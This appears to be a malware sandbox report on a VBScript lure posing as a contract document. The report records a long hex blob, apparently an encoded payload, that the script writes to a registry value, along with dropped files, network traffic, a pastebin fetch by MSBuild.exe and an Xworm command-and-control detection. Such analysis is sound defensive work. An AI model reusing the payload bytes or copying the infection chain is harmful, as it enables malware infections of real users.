960100011009950CC00610099509C00631046502C00610099509B0815004A5067006100EF40DE0061008E40360061008E40E5006100C940930061004E40F20061004A3018006100C930870061006B3027006100EB3096001100AB30160061006B30B40011002B3013001100EA3031001100BA30600011007A30400061004A20ED00610099208C00610099202C0061009920CB006100C9206B00610099202B0061009920EA00610099209A00610099204A0061009920B90061000920B700110074108D001300A3103B001300D21019001300021086001300C5001300D000000116000000500085001300180000908F00001000008500D20054000000FC00001020008500B200140000001C000010A0000400F100D0006800AB0001100000E300F100D0006800DA0000001000C300F100D00068001A0000001000D200A100D00068008900000010008100F000D0006800B800010010003100F000D000680018000000100011006000D0000000870001001000F0005000D0000000D5000010500080005000D0000000F4000010500030001000D00073005400011000002000100090007300A300000000001000100050007300920000000000100010000000000010000000003181A12600603181A15400603181A1C200603181A13100603181918F0060318191DD00603181910C00609049912B006080EF9149006080EF91470060904991960060904991350060810E911000E0810E816F00E01064813D00602111816B0060211181E8006021118197006010648116006030A181940060904971FE00601064717C00E01064713C00E080A4719900E0618B71F40060618B71430060106471920060618B71F00060618B616F0060618B615E0060618B615D006030A161C3006030A161F10060904961110060904951EF0060904951ED006060C7513C00603181517A0060318151C9006080A451C500E080A4514300E0B0A6516100E0B0A6419C00E0B0A6419B00E0B0A641AA00E0418041890060411841D800E1106441E6006041804132006080A4317D00E01064315B0060318131860060318131150060106431530060318131A20060213821FE0061010B218D0061010B216B0061010B216A0061213821A90061014F21A400A1211121120060115D116F00A030A111BA0060000011F800F90031117700A0003111B600A080A4113600E010641192006020AE111100E0014F106F00A10031016E00A0003101ED00A0010B017D0061010B01DC0061010B018C0061010B01FB006110640165006020AE016300E03043018200608057F0AF00A08057F02E00A03043F09C006030A1F02B0060
(PID) Process:(7596) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\YwqNWzTslUjqsUb\donn
Operation:writeName:segment3
Value:
1064F0A800601064F0F700600031F00700A01064F096006010F1F09300A0E023F0010021E023F04000210000E0D81071E023E0270021E023E0D50021E023E0440021D00DE0610060D00DE0500060D00DD0AE00608057D08B00A030A1D07A006030A1D06800601064D0D7006030A1D04700601064D0C600601064D0C1006010F1C0BE00A03043C07D006020AEC0BC00E01064C0B8006020AEC0E700E020AEC03700E020AEC05600E03043C07500601064C09200603043C06100601064B0DF0060B0A6B09A00E0B0A6B0F700E0B0A6B05700E03043B03500601064B06400601064B01400601064B0E100608057B02000A08057A06F00A01064A0CE006080A4A0FC006080A4A06B00601064A0B300601064A0F0006080EF90DD00601064907C00609049903B00600031909700A0106490060060106490C3006080EF90E1006080CC809E00E00031804B00A0805780C900A080A480D5006080B1803300E0707D806000E0707D70DE00E0106470590060106470D700603043208C006060C7608800601064608200601064502C00603043407500601064308D006030433005006030433054006030A13042006020AE20DF00E010642032006000FD105A00A0106410D4006010F110D300A000FD109000A0000000000010A1180000000000400000003000000050000000700000001000000070000000B000000040000000500000005000000020000000B30000004000000014000000400000105100000014000000D500000023000000110000001A00000010000061003352AF000000E090D12AD375100000200000000000000026F6C62432000090060000E34A0000004494557432000000010000E349003555320000C04800002301000000003776E696274735320000A109000071080000E73200007141000000C60050000000009313330333E203E24367000000C0000000000010001024A43524000000A2400000A20841A00010A0F6400000A2E701C2400000A2E726A27000B2B060400000A208A0001090370021400000E0E761110000B3000000810030033110000042F000448300C0000000000110000000A27000EDA0000032825031A00000128252F0ED11EDB0A000007EF67BE89061904011D0204031A000006EF660A000005EF68160A000004EF6A000002EF6600000C48240000090E78060C0A000001E37A0A000000E37110000A300000055004003B110000042F000448300C0000000000110000000A27000EDA0000032825031A00000128252F0ED11EDB0A000007EF67BE89061904011D0204031A0001080F660A000005EF68160A000004EF6A000002EF6600000C48240000090E78060C0A000001E37A0A000000E371100009300000055004003B100000000000000F0000010F300001093000000600000002000000000000000F00000101100000009000000180000002000004314A260CDA00000E2F6100000E24770B0C270F0ED11EDA0B100009047A00000BA8241414110000030D8610700C047274170CDA00000E2F6100000E24790B0C290F0ED62A0000047827141414110000030D8610700C0862741900001B100009047A000102082A000004182B10000900DA000001182A9614011F1C20961601162A000004782716011C961816011C961716011C9716160116031100000A3D89141414011403150112A100000F6C87BE8208150112A100000F6C8617150112A20615011503110000030D8910700C0C5274190D0A00010403771100000E44770C0A000001182A9615011A0C20961601162A000004782716011C961816011C961716011C9716160116031100000A3D89141415011503140112A100000F6C8A18140112A100000F6C8617140112AA00000118280614011403110000030D8910700C0C5274170C0A0001070827BE820B0A0000053371100008300001005009003B100000000000000F0000010E40000107400000070000000200000000000000011000010B3000000E9000000D9000000200000431400A260CDA00000E2F6100000E24770B0C270F0EDCDA00000E2F6100000E2474011C0C2401111ED42EDA0B1000090475011C0A000001182A9816011A0C2098180115031A000001182A9616011B0C20961801162A000004782718011C971818011C961718011C9716180118031100000A3D89141416011603170112AA000001182808170112A100000F6C8617170112AA0000011825011617011703110000030D8910700C02527414011503110000053D86D71A000106082A000105082100000F6C871804031A00010403761100000E44770C0100000F6C8A0001030826190D0B100009047A000102082A000004182B10000900DA000001182A9617011E1C20961801162A000004782718011C961818011C961718011C9716180118031100000A3D89141417011703160112A100000F6C8A18160112A100000F6C8617160112A90616011603110000030D8910700C025274170D010000053D8A1B0A0001010372011000073000010F5009003B110000042E00043430000000000000000A0008281000100200000C110A26000B2A04100EDA000003282D0A00000128252E0EDCDA00000E2F67060C270A0ED02EDA0B10000904780C0A000001182A0001000F62070B0A00000FFF640000022E7A00000CFE71100006300000084002003B110000042E000C2C20000000000000000A00002F0001100200000C110A26000B2A06100EDA000003282C0A00000128252E0EDCDA00000E2F67060C270A0ED02EDA071A00000EFF691302070B0A00000DFF68140000022E7A00000CFE71100005300000004004003B1A27000B2B0A00000BFF6A00000E5F641F161A00000B5F6908D237BE86011501150316D71501162A0000095F6A00000AF820700C0C4274021904031195011601102B2503161603160D0A000004537A0A000002EF66080A0A000002DF620A000009F82C0A000001E371100004300000086003003311000004291008585000000000000011000A26000EDA00000328270EDA000003282A00700C0A327A00000128291EDB1EDA0600000F482A000008482702A100000F8C8A000008FF6A000007F37A000006F82A000005F82A1702AA00000348291702AA00000158281702AA00000048271702A100000F6C8A000004F826170B010000030D8B11100003300000037003003B1A26000B2A0A000003FF620A000001D82110000230000000100200331A26000B2A0A000002DF620A000001D8211000013000000010020033110000042C000B2B20000000000000110000000A26000B2A0070030E22700EDA000003282A000001282C0ED61EDA0A00000B5F670901361600000848200001000027080C06000007482B0A00000DE3700001000021100000300000014003003B110000042C000D0D000000000000001100000A200EDA000003282A000001282C0ED626000009482080000300200000000000000A1001003B1A2604BD2714000007208704000008208A0000077826000005482F0B24000006208A000002F82A000001B82C640000072E740000062F7C1137040000072E7B06000005482A00000F1820000308E0294B2110000E2000000050020033100A26000B2A06140B260B2A07BA000008682B504F804000000000032C640000042E7B1136140000042E74000004208AD400000C2B740000052F7A000001F8251C2600000448240000052F7400000C2D76140000052F7400000B2D7B20000408240000052E740000052F7400000420861110000D2000000F60020033100A26000B2A0A00000B5F6703D139080C06D718062A00000FEF6A00000EEF6A000000CF6A00000C5F60700C0402740000012E70700C040277092B2C0D0AD712061B0A00000DE3720110000C20000007400400331000000A26000B2A010EF6110EF61A00000CE8220110000B20000001100200331000000A24000009208602A0700B0B12781602A0700A0602771602A07009096276160A010000092D891A00000BE82A66140000062F7200000E051EF40000052F74000003208A00000AEF6A000009EF6A000008E824000002208A000005482600000E48207009055274000001208A00000F237400000F10861110000A20000005700300331A28000B2C090D0600000D482A000007EF67BE87061704011B0A000005882204031A000006EF660A000005EF68160A000004EF6501160A000003E8201F1F0F15011617011A000003E8201F16150116170117031A000002EF6600000C482400000E0E76011503110000053D802F1D0070030E2276031A000001E37A0A000000E37110000920000000800500331A2A00000718220E110000042E010624F0023000010000042C000BD90002D000000000000A0005CC70094002010000042E00042120030000000004310000000A200EDA000003282D0A00000128252E0EDA0000022826162A00000CC824011A00000ACF6714011A00000FDF6614011A00000EDF6614011A00000DDF6714011A00000CDF67040114031A00000BD3700EDA000003282A000001282C0ED62A0000098823051C220CDA00000E2F68060C280A0EDA000008DF6A0000025820700905427A00000C48270070090932780A000008DF6A000005482A000006882070090132780A000008DF6A0000025820700905427A00000C482A00000AD82070090932780A000008DF6A000005482A000009D82070090132780A000008DF6070090112780A000008DF6070080DF2780C0A000007D3770B0A0000054820700803F27A000006D8200EDA000003282A0A00000128252E0EDA000007C8240301001A000007882A000005482306000003482C1A000006882F2C2201100008200001053004003B1A2A00000718220E1A2A00000718220E110000042E000B9B900000000000001100000A200EDA000003282D0A00000128252E0EDA00000F7F680A00000F1820000904C0262A000003DF6617BE860616080A0A000002DF670A000001D82B0A00000188240112A070080DB27A140112AA9A000000CF67BE840000092E7A00000F23740000092E79140112A070080C0278140112A40000013B7207140112A070070CD27614011403110000092D8B1A0000093F6A00000DA8240000023B72040000013B72080C0A000004337C1718111000072000000AA005003B100A200B26000003382A00000028220A300A200B26000002382A00000028220A310000042F000C4C40000000000000110000000A26000EDA0000032825031A00000128252F0ED62A000000DF64011A00000118280904031413033617BE8A00000FCF690403110000030D871C0A000001182A00000ECF6A000009AF69070D0A00000DCF670B0A000007AF620A000006A8211000062000000D5003003B1A2A0A000001182A9614011A0C20961501162A000004782715011C9716150115031100000A3D871414140114031902AA000001182606190D010000030D871070030A527A000004182100000E50D41D4B2B0A00000CC8280A00000BCF6A000000282A0000026820700708D27A00000268260070070892780A00000ACF67180C0A000009C37070070A727B3C2A000008CF60700700727A00000BBF620A00000F1820000104F02A000007C8230A00000028260A0A000007882A000005482206000003482C1A000006882110000520000008C0090033110000042E000C2C20000000000000110A26000B2A06100EDA000003282D0A00000128252E0ED8D13A170B06D7170C1EDA07140C2600000638246F1202146F140214031A000006C8246F15B70C041B0611100004200000004005003B100000000A00028200008002010000042C00022C1006000000000C1100000A262A0000098822070B2CDA00000E2F67060C270A0EDB01000006747A000005CF660A000004CF6070070862760A000003CF6000072010260A000002CF67160A000001CF6A9A000000CF67BE840000092E7A00000F23740000092E760A01000005747A00000FB822000EDA000003282A000001282C0EDA00000B282000072F002A00000A2820000C00002A000009282710000008893301100003200000069004003B100A2FFFFFF47A3400000F0E7A00000F1820000308E02A06D716089237BE87011601160316D7160116000000382A0000025820700704627A00000BBF6A000009BF6900700706527A0611213E1F16062C2B200003082A00000DB37A00000CB70EF52A00000BBF6A000009BF6908054B220C2A00000AB82A000009BF690D0A96011701106B26031617031A000008B820000002883A0E1F1CC237BE85011401140316D714011A000007BF6A000000282A00000BA8241414110000030D8610700706427417080B0A940115011C2B24031615031A0000028826151070020682720C0A000006B37110000220000003E0080033110000042F0004C4C0000000000000110A200EDA0000032826031A00000128252F0ED7BD2400000F0E770C2A000005B82A000004BF67090A00000F18200003188029D1331F1501150316D715011A0000072F640114031A000006237A000005237600000D570EF526050316143B2A000003BF670B0A000002B37D0A000001B82C680C08DC3F1A00000DA82A981A0000042F67011D9A3F1617011703110000082D8712040000023D7A971A0000042F67011D9A3F1617011703110000082D871206040000013D7A961A0000042F67011D9A3F1617011703110000082D8712060A0600000C537110000120000004D005003B110000042E000717100000000000001100000A200EDA000003282A0A00000128252E0ED6000006282A00000258220400000A0E70700102F271100000200000062003003B110000042E000717100000000000001100000A200EDA000003282A0A00000128252E0ED6000006282A00000258220400000A0E7070070E327110000F100000062003003B11000004200000032000040E8000040E800000000000000000000C1140000A200EDA0000032826000001382A000005482A0000009F6900700700227D0A0000012825232EDFFFFBFE8F37BE85011401140316D714011FFFFBFCCF37BE87011601160316D71601174ED400000B108616000000382A000000282A00000BA8241414180112A90112A600000E482619011903110000030D8717180112A41618011803110000030D8810700604A274170400000B10871B43381400000B1E755D2A000000B82A981400000A1E736C2A00000CA82610700708127A00000BA8241414110000030D861070020CD27417000000058830000001DDD400000B108816000000382A000000282A00000BA8241414180112A90112AA9C1400000A1E7A190112AA9B1400000A1E79190112AA9A1400000A1E78190112A6000002582A000005882A991400000A1E77190112A600000E482619011903110000030D8B17180112A41618011803110000030D8810700604A274170400000B1087100000018B371400000B1E70000001993A000000B82A981400000A1E70000007A93A00000CA82610700700127A00000BA8241414110000030D861070020CD2741700000101583000010D9DD6000001382A000000282A00000BA8241414180112A90112A100000F6C8A00000DA82A981400000A1E7619011903110000030D8717180112A41618011803110000030D8810700604A27417055C2A00000CA82610700700027A00000BA8241414110000030D861070020CD2741700000108C8300002041DD62A0000047827141414180112A90112A6000002582A000005882A991400000A1E77190112AA981400000A1E7619011903110000030D8817180112A41618011803110000030D8810700604A274170E4C2A00000FA82A981400000A1E766C2A00000CA82610700602F27A00000BA8241414110000030D861070020CD2741700000200583000020C9DD60000003828060B260000013828080C2A00000EAF60700102F2780C0A000000282A00000BA8241414180112A90112AA981400000A1E7619011903110000030D8717180112A41618011803110000030D8810700604A27417026C2A00000CA8261070060CD27A00000BA8241414110000030D861070020CD2741700000204D8300003002DD6000006282A000000282A000002682A00000BA8241414180112A90112A100000F6C8A00000DA82A981400000A1E7619011903110000030D8717180112A41618011803110000030D8810700604A274170A000005482400000A0E7A000005482A000007782A00000DA82A981400000A1E7A000005482400000A0E7A000005482600000E482A000005482400000A0E7070060AC27000000D993A00000CA82610700602B27A00000BA8241414110000030D861070020CD27417000003069830000302EDD62A0000047827141414190112A80112A600000E482A180112A40000090E79180112A400000A0E78180112A40000080E77180112A40000070E7618011803110000030D8B17190112A41619011903110000030D8810700604A27417056C2A00000CA8261070060C927A00000BA8241414110000030D861070020CD274170B0A96011701100004092836031617031A00000AAF660000040440461A00000D48261070060E827A000009AF660A0A94011501100004076834031615031A000008AF6A000007AF620A000006A82110000E10000402B00A003B110000042000000B1000070E6000070E6000000000000000010000042000000F0000070D5000010B60000502F0000000010000042000000C0000070F400000052000070A20000000010000042000000C000006080000000610000502F000000001000004200000025000040C8000000E4000040E30000000010000042000000F0000030F6000000C0000030360000000010000042000000F0000030C1000000C0000030010000000010000042000000F0000020CE000000C00000200E0000000010000042000000E0000020A9000000C0000020E80000000010000042000000C000001077000000C1000010B50000000000004F140000A200EDA0000032826000001382A0000009F621112131A00000128252B1ED00EDA0000032821131A00000128252F0ED00EDA000003282A000001282C0EDA000005AF6E011A000004AF6D011A000005AF60111A00000E6F6F011A000004AF6A0116000006282A00000188241112AA000003A826000003582A00000C6F6F011A141112A400000A0E79141112A600000E4828141112A400000A0E77141112A0700604827614111413110000092D8B1A000002AF6A000001A82F0110111A000000AF6817111A00000F982A00000B9F6E011A00000A9F6E011616171218111A00000F982000000C902000010000261618121E011D011D031A00000998201110131A00000E937000000C9020000100002F031A000005337A00000D9F600CC000202B01161616161A011A00000C982A00000B9F6E011A00000A9F6E011B021A031A000009982E011E031A0000089370020015002A000007982C021A00000698281218131A0000059F6A000004982C031A0000059F6A00000498200EDA000003282A000001282C0ED400000F1087162600000148281D0D2400000F1E7000010A70461A00000D48261070060A7273111000010D88360000013820700600427F03361A00000D48261070060A2273111000010CA8360000003820700608027A0000039F640000022E7A0000029F6A0000019F66000004082823361A00000D48261070050CE2731110000104E83600000F282600000258290116260000005829011A971609031A000005882A98160623361A00000D482610700506D273111000020A183600000F28260000025826000001582A9716021B26000006282A000002582A97160400000A0E70700500C2791D26000001582A97160400000A10860043361A00000D482610700502B273111000020A68360000062820700508A27F03361A00000D482610700508A273111000020988300EDA0000032826000006282A00000188241112AA0000009F68011A141112A400000A0E79141112A600000E4828141112A400000A0E77141112A0700506927614111413110000092D8B18031A0000012825225ED6000006282A00000188241112A0700508627A141112A400000A0E79141112A600000E4828141112A400000A0E77141112A0700506527614111413110000092D8B1A00000F882A98160A971600000005A0461A00000D482610700508427311100003014836000006282A00000188241112AA00000E8827011C141112A400000A0E7B141112A7011A141112A400000A0E79141112A600000E4828141112A400000A0E77141112A0700506127614111413110000092D8D17031A0000054820700502227A00000D88252F1A63361A00000D4826107005061273111000030BB836000006282A000002582600000E482400000A0E7070050A027E13361A00000D48261070050A02731110000309E8300EDA0000032826031A00000128252F0EDA00000B8F6400000D1E7023361A00000D482610700404F2731110000409183A00000C8F6A97160400000D1E7400000D108A000003737A000002737600000B360EF4100EDA0000032825031A00000128252F0EDA00000B8F6400000D1E7343361A00000D48261070040CD273111000040C68300EDA0000032824031A00000128252F0EDA00000B8F6400000C1E7023361A00000D48261070040AC273111000040C983A00000C8F6A97160400000C1E7400000C108A000003737A000002737600000A360EF4100EDA000003282D0A00000128252E0EDA00000B8F6400000C1E7243361A00000D482610700406B273111000040EE8362A00000A882516161A97160113361A00000D482610700404A273111000050F08362A00000A8825161610700404827313361A00000D4826107004027273111000050238362A00000A8825161610700402427313361A00000D48261070040E2273111000050558362A00000A882516161070030EF27313361A00000D482610700308E2731110000508783600000438271A97160E03361A00000D482610700308D2731110000506983600000438261A97160E03361A00000D482610700308C2731110000504B8362A00000988270A0000088F670A9816080C0A00000C237B0A000007882A000005482A971606000003482C1A00000688200EDA000003282A000001282C0EDA00000B282000072F002A00000A2820000C00002A00000928271D53361A00000D482610700302C27311100006012836260000093826000002582A000005882A97160813361A00000D48261070030CB273111000060948360000083826000002582A000005882A98160A97160A13361A00000D482610700306B2731110000603783600000D3826000002582A000005882A98160A9716071B13361A00000D482610700308A273111000060E983600000D382414161D03361A00000D4826107003049273111000060BB83A00000228261A00000E7F640000001E7A0000048F68140000001E7023361A00000D4826107003088273111000060BE83A00000228261A0000038826000007582513361A00000D482610700300827311100007001834000008108616000006282A000002582A00000778240000081E7400000A0E70700306727400000910861F23361A00000D48261070030672731113131A96160A0A0000028826151400000A0E7600000D482600000558220110000D1000070A8008003B1A2A00000718220E100A200B26000005282B10000904720A3000000A200B2600000A2822210000042E000E4E40000000000000110000000A200EDA000003282A0A00000128252E0EDA0000008824000009108716000006282A000001882702A40000082E7A1702A400000A0E791702A600000B48281702A400000A0E771702A070030A6276170B010000092D8B154C2400000F0E7110000C1000000D5003003B110000042C000C1C10000000000000110000000A200EDA000003282A000001282C0ED40000081086D7140000081E7C0C2400000F0E731C240000091E70000000000000092002003B110000042E0002AC10068000010000042E00017C10055000010000042E000042100E2000010000042E000912100700000000043100000A2A00000088200EDA000003282D0A00000128252E0ED400000010841A00000F7F640000001E7A00000E7F640000001E7A2C240000001E700EDA000003282C0A00000128252E0ED400000310841A00000E6F640000031E7A00000D7F640000031E7A2C240000031E700EDA000003282B0A00000128252E0ED400000710841A00000C7F640000071E702C240000071E700EDA000003282A0A00000128252E0ED400000410841A00000C7F640000041E702C240000041E7110000B10000006B002003B1100000424100E0E0000000000000011000A200EDA000003282400000F00861A0A0000012825241ED62A00000B7F62040000001E7110000A100000032002003B100000000C000CBBA001100201000004241006A280042000000000000A000A90700A2002000008210000000A2CDA00000A782401170C25011C0ED00EDA000003282400000F00861D0A0000012825241EDCDA00000E2F66060C260A0ED62A0000097F641A00000A3376000007260EF41617BA0000017F66061A00000C6F66040000001E762A0000087F6715140000001E7A0000007F67BE870617060A0000007F67BE880618060C0600000C482A0000054820700306627A0000077827BE870B06000004582600000C48220A0A0000053370000006993400000F0E7A00000678250214011503161A0000057824011403140000061E7110000910000009C007003B110000042E0008080000000000000011000A200EDA000003282A0A00000128252E0ED600000E282201100008100000071002003B110000042000000B10000109A000010D9000000C0000000000000C114000000A200EDA00000328270EDA000003282400000F00861C0A00000128252B1ED62A00000B3F640000001E7A00000A3376000004260EF41617BE840000021E76140000021E740000001E774ED400000F0086180B2400000210810000053D86D717BADA671ADA0000017F640000031E740000011E702B2400000210810000053D8714000003108A000005337A00000E6F640000031E74000001108A65162A00000478271414141902AA00000C6F640000031E76190D010000030D871070030A5274170B0A000003737A000002737600000C260EF41063340000011E7A0000017F640000031E7A0000007F6606140000021E740000031E70000002A83A00000F6F6196140000021E740000031E711B2400000210810000053D86D717BADA67140000011E700001002DD62A00000B3F640000001E7A00000A3376000004260EF41617BE840000021E76140000021E740000001E74000001108A6516333A66140000011E74000003108A000005337A00000E6F640000031E74000001108A00000D682600000D482A00000C6F640000031E7000000380461196140000021E70000006A04A65140000011E700001065E36160A0A00000B6F62040000001E70000108B8350D2400000F0E7110000710000105C008003B110000042B100C9C90000000000000110000000A26000EDA00000328270EDA000003282A00700102F27D0A00000128252B1EDD1EDA080C0A0000054820700302527A00000A6F6ADA1A00000C5F680A180C0A00000968240214031B5140300000000000032C6700313A600010000027093B2C0A000005482070030A427A00000A6F6ADA1A00000C5F680A180C0A00000968240214031B5140D00000000000032C6702313A6040000000270B09BA000008682A000007682100000A4C8A0000066F6A0000056F66000004082C041110000610000009B004003B110000042B1006666000000000000011000A26000EDA00000328270EDA000003282A00700102F27C0A0000012
Executable files
0
Suspicious files
2
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
7760powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wpxssdu3.1h0.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7760powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_b123qw1x.urt.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7532wscript.exeC:\ProgramData\123decoded.vbebinary
MD5:8D9A8CD3CEBF685050704C0565E0854C
SHA256:202C5517BA3EE8F11ADBBDB77608723ECD3C9BCBAB060BF60153B6BABF952169
7596wscript.exeC:\Users\admin\AppData\Roaming\YwqNWzTslUjqsUb.vbstext
MD5:BCA105ABC4CCB82C8F1D1A569F344EC7
SHA256:CFA79C64D6C4D600243E514B507A2CD944B9C9230E0F65974EF3071228A4C7D3
7760powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactivebinary
MD5:7BAB11319F26FEC5ED266E9CB1FD8984
SHA256:14FA790D60E6EC32FF53401F450AF89D40B57D25819D9EFAB3D84C949D075BAA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
67
DNS requests
16
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5972
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
5972
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
5496
MoUsoCoreWorker.exe
2.16.164.120:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
2.23.246.101:80
www.microsoft.com
Ooredoo Q.S.C.
QA
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
3216
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
40.126.31.129:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
8136
MSBuild.exe
172.67.25.94:443
pastebin.com
CLOUDFLARENET
US
whitelisted
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.78
whitelisted
settings-win.data.microsoft.com
  • 40.127.240.158
  • 51.104.136.2
whitelisted
crl.microsoft.com
  • 2.16.164.120
  • 2.16.164.49
whitelisted
www.microsoft.com
  • 2.23.246.101
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
login.live.com
  • 40.126.31.129
  • 40.126.31.67
  • 20.190.159.128
  • 20.190.159.68
  • 40.126.31.71
  • 20.190.159.23
  • 20.190.159.131
  • 20.190.159.2
whitelisted
ocsp.digicert.com
  • 184.30.131.245
whitelisted
pastebin.com
  • 172.67.25.94
  • 104.22.68.199
  • 104.22.69.199
whitelisted
slscr.update.microsoft.com
  • 4.175.87.197
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 52.165.164.15
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Online Pastebin Text Storage
8136
MSBuild.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm TCP Packet
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Documentación contractual_1332400014114.vbs